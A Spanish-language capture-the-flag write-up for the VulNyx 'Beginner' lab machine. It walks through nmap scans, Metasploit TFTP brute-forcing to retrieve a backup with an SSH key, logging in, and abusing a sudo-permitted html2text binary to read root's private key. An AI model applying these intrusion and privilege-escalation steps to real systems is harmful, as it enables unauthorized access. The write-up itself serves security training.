VulNyx - Beginner

logo

  • TFTP Brute
  • Abusing Html2text Binary

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.48

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.48

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Escaneo puertos UDP

❯ nmap -sU --top-ports 100 192.168.1.48

PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp

HTTP TCP - 80

http

Al realizar fuerza bruta de directorios/archivos no he encontrado nada, así que abro metasploit para realizar fuerza bruta al servicio TFTP.

msf6 > search tftpbrute

Matching Modules
================

   #  Name                              Disclosure Date  Rank    Check  Description
   -  ----                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/tftp/tftpbrute                   normal  No     TFTP Brute Forcer


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/tftp/tftpbrute

msf6 > use 0
msf6 auxiliary(scanner/tftp/tftpbrute) > set RHOSTS 192.168.1.48
RHOSTS => 192.168.1.48
msf6 auxiliary(scanner/tftp/tftpbrute) > run

[+] Found backup-config on 192.168.1.48
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Encuentro el archivo backup-config y lo descargo.

❯ tftp 192.168.1.48
tftp>get backup-config

Con file veo que backup-config es un archivo zip.

❯ file backup-config
backup-config: Zip archive data, at least v1.0 to extract, compression method=store

Al descomprimir el archivo zip crea una carpeta con el nombre backup y dentro contiene id_rsa y sshd_config.

❯ unzip backup-config
Archive:  backup-config
   creating: backup/
  inflating: backup/id_rsa           
  inflating: backup/sshd_config 

En el archivo sshd_config encuentro el usuario boris que es el usuario de la llave id_rsa.

sshd_config

Me conecto al sistema mediante la llave rsa.

❯ ssh boris@192.168.1.48 -i id_rsa
boris@beginner:~$ id
uid=1000(boris) gid=1000(boris) grupos=1000(boris)

Enumero permisos de sudo.

boris@beginner:~$ sudo -l
Matching Defaults entries for boris on beginner:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User boris may run the following commands on beginner:
    (root) NOPASSWD: /usr/bin/html2text

Lanzo html2text apuntando al id_rsa de root y obtengo la llave rsa.

id_rsa_root

Copio la llave a mi máquina y la arreglo para que funcione correctamente.

root_rsa_fix

Me conecto como root.

❯ ssh root@192.168.1.48 -i root
root@beginner:~# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Beginner.

Saludos!